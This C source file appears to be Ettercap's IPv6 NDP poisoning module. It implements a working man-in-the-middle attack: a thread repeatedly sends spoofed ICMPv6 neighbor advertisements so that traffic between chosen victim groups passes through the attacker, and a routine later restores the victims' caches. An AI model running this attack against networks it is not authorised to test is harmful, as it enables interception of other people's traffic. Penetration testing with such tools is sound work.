1 /*
2  *    ICMPv6 Neighbor Advertisement poisoning ec module.
3  *    The basic idea is the same as for ARP poisoning
4  *    but ARP cannot be used with IPv6. Lurk [1] for details.
5  *
6  *    [1] - http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
7  *
8  *    the braindamaged entities collective
9  */
10 
11 #include <ec.h>
12 #include <ec_mitm.h>
13 #include <ec_threads.h>
14 #include <ec_send.h>
15 #include <ec_hook.h>
16 #include <ec_sleep.h>
17 
18 /* globals */
19 struct hosts_group ndp_group_one;
20 struct hosts_group ndp_group_two;
21 
22 #if 0
23 static LIST_HEAD(,ip_list) ping_list_one;
24 static LIST_HEAD(,ip_list) ping_list_two;
25 #endif
26 
27 u_int8 flags;
28 #define ND_ONEWAY    ((u_int8)(1<<0))
29 #define ND_ROUTER    ((u_int8)(1<<2))
30 
31 /* protos */
32 void ndp_poison_init(void);
33 static int ndp_poison_start(char *args);
34 static void ndp_poison_stop(void);
35 EC_THREAD_FUNC(ndp_poisoner);
36 static int create_list(void);
37 static int create_list_silent(void);
38 static void ndp_antidote(void);
39 
40 #if 0
41 static void catch_response(struct packet_object *po);
42 static void record_mac(struct packet_object *po);
43 #endif
44 
45 /* c0d3 */
46 
ndp_poison_init(void)47 void __init ndp_poison_init(void)
48 {
49    struct mitm_method mm;
50 
51    mm.name = "ndp";
52    mm.start = &ndp_poison_start;
53    mm.stop = &ndp_poison_stop;
54 
55    mitm_add(&mm);
56 }
57 
ndp_poison_start(char * args)58 static int ndp_poison_start(char *args)
59 {
60    struct hosts_list *h, *tmp;
61    int ret;
62    char *p;
63 
64    DEBUG_MSG("ndp_poison_start");
65 
66    flags = ND_ROUTER;
67 
68    if(strcmp(args, "")) {
69       for(p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) {
70          if(!strcasecmp(p, "remote"))
71             EC_GBL_OPTIONS->remote = 1;
72          else if(!strcasecmp(p, "oneway"))
73             flags |= ND_ONEWAY;
74          else
75             SEMIFATAL_ERROR("NDP poisoning: incorrect arguments.\n");
76       }
77    }
78 
79    /* we need the host list */
80    if (LIST_EMPTY(&EC_GBL_HOSTLIST))
81       SEMIFATAL_ERROR("NDP poisoning needs a non-emtpy hosts list.\n");
82 
83    /* clean the lists */
84    LIST_FOREACH_SAFE(h, &ndp_group_one, next, tmp) {
85       LIST_REMOVE(h, next);
86       SAFE_FREE(h);
87    }
88    LIST_FOREACH_SAFE(h, &ndp_group_two, next, tmp) {
89       LIST_REMOVE(h, next);
90       SAFE_FREE(h);
91    }
92 
93    if(EC_GBL_OPTIONS->silent) {
94       ret = create_list_silent();
95    } else
96       ret = create_list();
97 
98    if (ret != E_SUCCESS) {
99       SEMIFATAL_ERROR("NDP poisoning failed to start");
100    }
101    /* hook necessary? - Maybe if solicitations are seen */
102 
103    ec_thread_new("ndp_poisoner", "NDP spoofing thread", &ndp_poisoner, NULL);
104 
105    return E_SUCCESS;
106 }
107 
ndp_poison_stop(void)108 static void ndp_poison_stop(void)
109 {
110    struct hosts_list *h;
111    pthread_t pid;
112 
113    DEBUG_MSG("ndp_poison_stop");
114 
115    pid = ec_thread_getpid("ndp_poisoner");
116    if(!pthread_equal(pid, ec_thread_getpid(NULL)))
117       ec_thread_destroy(pid);
118    else {
119       DEBUG_MSG("no poisoner thread found");
120       return;
121    }
122 
123    USER_MSG("NDP poisoner deactivated.\n");
124 
125    USER_MSG("Depoisoning the victims.\n");
126    ndp_antidote();
127 
128    ui_msg_flush(2);
129 
130    /* delete the elements in the first list */
131    while(LIST_FIRST(&ndp_group_one) != NULL) {
132       h = LIST_FIRST(&ndp_group_one);
133       LIST_REMOVE(h, next);
134       SAFE_FREE(h);
135    }
136 
137    /* delete the elements in the second list */
138    while(LIST_FIRST(&ndp_group_two) != NULL) {
139       h = LIST_FIRST(&ndp_group_two);
140       LIST_REMOVE(h, next);
141       SAFE_FREE(h);
142    }
143 
144    /* reset the remote flag */
145    EC_GBL_OPTIONS->remote = 0;
146 
147    return;
148 }
149 
EC_THREAD_FUNC(ndp_poisoner)150 EC_THREAD_FUNC(ndp_poisoner)
151 {
152    int i = 1;
153    struct hosts_list *t1, *t2;
154 
155    /* variable not used */
156    (void) EC_THREAD_PARAM;
157 
158    ec_thread_init();
159    DEBUG_MSG("ndp_poisoner");
160 
161    /* it's a loop */
162    LOOP {
163 
164       CANCELLATION_POINT();
165 
166       /* Here we go! */
167       LIST_FOREACH(t1, &ndp_group_one, next) {
168          LIST_FOREACH(t2, &ndp_group_two, next) {
169 
170             if(!ip_addr_cmp(&t1->ip, &t2->ip))
171                continue;
172 
173             if (!EC_GBL_CONF->ndp_poison_equal_mac)
174                /* skip equal mac addresses ... */
175                if (!memcmp(t1->mac, t2->mac, MEDIA_ADDR_LEN))
176                   continue;
177 
178             /*
179              * send spoofed ICMP packet to trigger a neighbor cache
180              * entry in the victims cache
181              */
182            if (i == 1 && EC_GBL_CONF->ndp_poison_icmp) {
183               send_L2_icmp6_echo(&t2->ip, &t1->ip, t1->mac);
184               /* from T2 to T1 */
185               if (!(flags & ND_ONEWAY))
186                  send_L2_icmp6_echo(&t1->ip, &t2->ip, t2->mac);
187            }
188 
189             send_L2_icmp6_nadv(&t1->ip, &t2->ip, EC_GBL_IFACE->mac, flags, t2->mac);
190             if(!(flags & ND_ONEWAY))
191                send_L2_icmp6_nadv(&t2->ip, &t1->ip, EC_GBL_IFACE->mac, flags & ND_ROUTER, t1->mac);
192 
193             ec_usleep(EC_GBL_CONF->ndp_poison_send_delay);
194          }
195       }
196 
197       /* first warm up then release poison frequency */
198       if (i < 5) {
199          i++;
200          ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_warm_up));
201       }
202       else
203          ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_delay));
204 
205    }
206 
207    return NULL;
208 }
209 
create_list(void)210 static int create_list(void)
211 {
212    struct ip_list *i;
213    struct hosts_list *h, *g;
214    char tmp[MAX_ASCII_ADDR_LEN];
215    char tmp2[MAX_ASCII_ADDR_LEN];
216 
217    DEBUG_MSG("ndp poisoning: create_list");
218 
219    USER_MSG("\nNDP poisoning victims:\n\n");
220 
221 
222    /* the first group */
223    LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) {
224       /* walk through TARGET1 selected IPv6 addresses */
225       LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
226          /* search matching entry in host list */
227          if (!ip_addr_cmp(&i->ip, &h->ip)) {
228             USER_MSG(" GROUP 1 : %s %s\n",
229                   ip_addr_ntoa(&h->ip, tmp),
230                   mac_addr_ntoa(h->mac, tmp2));
231 
232             /* create element and insert into list */
233             SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
234 
235             memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
236             memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
237 
238             LIST_INSERT_HEAD(&ndp_group_one, g, next);
239          }
240       }
241    }
242 
243    /* the target is NULL - convert to ANY */
244    if (LIST_FIRST(&EC_GBL_TARGET1->ip6) == NULL) {
245 
246       USER_MSG(" GROUP 1 : ANY (all IPv6 hosts in the list)\n");
247 
248       /* add all hosts in HOSTLIST */
249       LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
250 
251          /* only IPv6 addresses are applicable */
252          if (ntohs(h->ip.addr_type) != AF_INET6)
253             continue;
254 
255          /* create the element and insert into list */
256          SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
257 
258          memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
259          memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
260 
261          LIST_INSERT_HEAD(&ndp_group_one, g, next);
262       }
263    }
264 
265    USER_MSG("\n");
266 
267    /* the second group */
268 
269    /* if the target was specified */
270    LIST_FOREACH(i, &EC_GBL_TARGET2->ip6, next) {
271    /* walk through TARGET1 selected IPv6 addresses */
272       LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
273          /* search matching entry in host list */
274          if (!ip_addr_cmp(&i->ip, &h->ip)) {
275             USER_MSG(" GROUP 2 : %s %s\n",
276                   ip_addr_ntoa(&h->ip, tmp),
277                   mac_addr_ntoa(h->mac, tmp2));
278 
279             /* create the element and insert in the list */
280             SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
281 
282             memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
283             memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
284 
285             LIST_INSERT_HEAD(&ndp_group_two, g, next);
286          }
287       }
288    }
289 
290    /* the target is NULL - convert to ANY */
291    if (LIST_FIRST(&EC_GBL_TARGET2->ip6) == NULL) {
292 
293       USER_MSG(" GROUP 2 : ANY (all IPv6 hosts in the list)\n");
294 
295       /* add them */
296       LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) {
297 
298          /* only IPv6 addresses are applicable */
299          if (ntohs(h->ip.addr_type) != AF_INET6)
300             continue;
301 
302          /* create the element and insert in the list */
303          SAFE_CALLOC(g, 1, sizeof(struct hosts_list));
304 
305          memcpy(&g->ip, &h->ip, sizeof(struct ip_addr));
306          memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN);
307 
308          LIST_INSERT_HEAD(&ndp_group_two, g, next);
309       }
310    }
311 
312    return E_SUCCESS;
313 }
314 
create_list_silent(void)315 static int create_list_silent(void)
316 {
317    struct hosts_list *h;
318    struct ip_list *i;
319    char tmp[MAX_ASCII_ADDR_LEN];
320    char tmp2[MAX_ASCII_ADDR_LEN];
321 
322    DEBUG_MSG("create_list_silent");
323 
324    LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) {
325       if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) {
326          if (!memcmp(EC_GBL_TARGET1->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) {
327             USER_MSG("\nERROR: MAC address must be specified in silent mode.\n");
328             return -E_FATAL;
329          }
330          SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
331          memcpy(&h->ip, &i->ip, sizeof(struct ip_addr));
332          memcpy(&h->mac, &EC_GBL_TARGET1->mac, MEDIA_ADDR_LEN);
333          LIST_INSERT_HEAD(&ndp_group_one, h, next);
334 
335          USER_MSG(" TARGET 1 : %-40s %17s\n",
336                ip_addr_ntoa(&i->ip, tmp),
337                mac_addr_ntoa(EC_GBL_TARGET1->mac, tmp2));
338       }
339       else {
340          USER_MSG("%s is not local. NDP poisoning impossible\n",
341                ip_addr_ntoa(&i->ip, tmp));
342          return -E_FATAL;
343       }
344    }
345 
346    LIST_FOREACH(i, &EC_GBL_TARGET2->ip6, next) {
347       if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) {
348          if (!memcmp(EC_GBL_TARGET2->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) {
349             USER_MSG("\nERROR: MAC address must be specified in silent mode.\n");
350             return -E_FATAL;
351          }
352          SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
353          memcpy(&h->ip, &i->ip, sizeof(struct ip_addr));
354          memcpy(&h->mac, &EC_GBL_TARGET2->mac, MEDIA_ADDR_LEN);
355          LIST_INSERT_HEAD(&ndp_group_two, h, next);
356 
357          USER_MSG(" TARGET 2 : %-40s %17s\n",
358                ip_addr_ntoa(&i->ip, tmp),
359                mac_addr_ntoa(EC_GBL_TARGET2->mac, tmp2));
360       }
361       else {
362          USER_MSG("%s is not local. NDP poisoning impossible\n",
363                ip_addr_ntoa(&i->ip, tmp));
364       }
365    }
366 
367    return E_SUCCESS;
368 }
369 
370 /* restore neighbor cache of victims */
ndp_antidote(void)371 static void ndp_antidote(void)
372 {
373    struct hosts_list *h1, *h2;
374    int i;
375 
376    DEBUG_MSG("ndp_antidote");
377 
378    /* do it twice */
379    for(i = 0; i < 2; i++) {
380       LIST_FOREACH(h1, &ndp_group_one, next) {
381          LIST_FOREACH(h2, &ndp_group_two, next) {
382 
383             /* skip equal ip */
384             if(!ip_addr_cmp(&h1->ip, &h2->ip))
385                continue;
386 
387             if (!EC_GBL_CONF->ndp_poison_equal_mac)
388                /* skip equal mac addresses ... */
389                if (!memcmp(h1->mac, h2->mac, MEDIA_ADDR_LEN))
390                   continue;
391 
392             /* send neighbor advertisements with the correct information */
393             send_L2_icmp6_nadv(&h1->ip, &h2->ip, h1->mac, flags, h2->mac);
394             if(!(flags & ND_ONEWAY))
395                send_L2_icmp6_nadv(&h2->ip, &h1->ip, h2->mac, flags & ND_ROUTER, h1->mac);
396 
397             ec_usleep(EC_GBL_CONF->ndp_poison_send_delay);
398          }
399       }
400 
401       ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_warm_up));
402    }
403 }
404 
405 /*
406  * This function has been written by the initial author but
407  * doesn't seem to be necessary as ND poisoning has been brought
408  * to a working state - keeping the code just in case - 2013-12-31
409  */
410 #if 0
411 static void catch_response(struct packet_object *po)
412 {
413    struct hosts_list *h;
414    struct ip_list *i;
415 
416    /* if it is not response to our ping */
417    if(ip_addr_is_ours(&po->L3.dst) != E_FOUND)
418       return;
419 
420    /*
421     * search if the node address is in one of the ping lists
422     * if so add the address to the poison list
423     */
424    LIST_FOREACH(i, &ping_list_one, next) {
425       /* the source is in the ping hosts list */
426       if(!ip_addr_cmp(&po->L3.src, &i->ip)) {
427          LIST_REMOVE(i, next);
428          SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
429          memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr));
430          memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN);
431          LIST_INSERT_HEAD(&ndp_group_one, h, next);
432          break;
433       }
434    }
435 
436    LIST_FOREACH(i, &ping_list_two, next) {
437       if(!ip_addr_cmp(&po->L3.src, &i->ip)) {
438          LIST_REMOVE(i, next);
439          SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
440          memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr));
441          memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN);
442          LIST_INSERT_HEAD(&ndp_group_two, h, next);
443          break;
444       }
445    }
446 
447    return;
448 }
449 #endif
450 
451 /*
452  * This function has been written by the initial author but
453  * doesn't seem to be necessary as ND poisoning has been brought
454  * to a working state - keeping the code just in case - 2013-12-31
455  */
456 #if 0
457 static void record_mac(struct packet_object *po)
458 {
459    struct ip_addr *ip;
460    u_char *mac;
461    struct hosts_list *h;
462 
463    if(ip_addr_is_ours(&po->L3.src)) {
464       ip = &po->L3.dst;
465       mac = po->L2.dst;
466    } else if(ip_addr_is_ours(&po->L3.dst)) {
467       ip = &po->L3.src;
468       mac = po->L2.src;
469    } else {
470       return;
471    }
472 
473    LIST_FOREACH(h, &ndp_group_one, next) {
474       if(!ip_addr_cmp(&h->ip, ip)) {
475          memcpy(&h->mac, mac, MEDIA_ADDR_LEN);
476          return;
477       }
478    }
479 
480    LIST_FOREACH(h, &ndp_group_two, next) {
481       if(!ip_addr_cmp(&h->ip, ip)) {
482          memcpy(&h->mac, mac, MEDIA_ADDR_LEN);
483          return;
484       }
485    }
486 }
487 #endif
488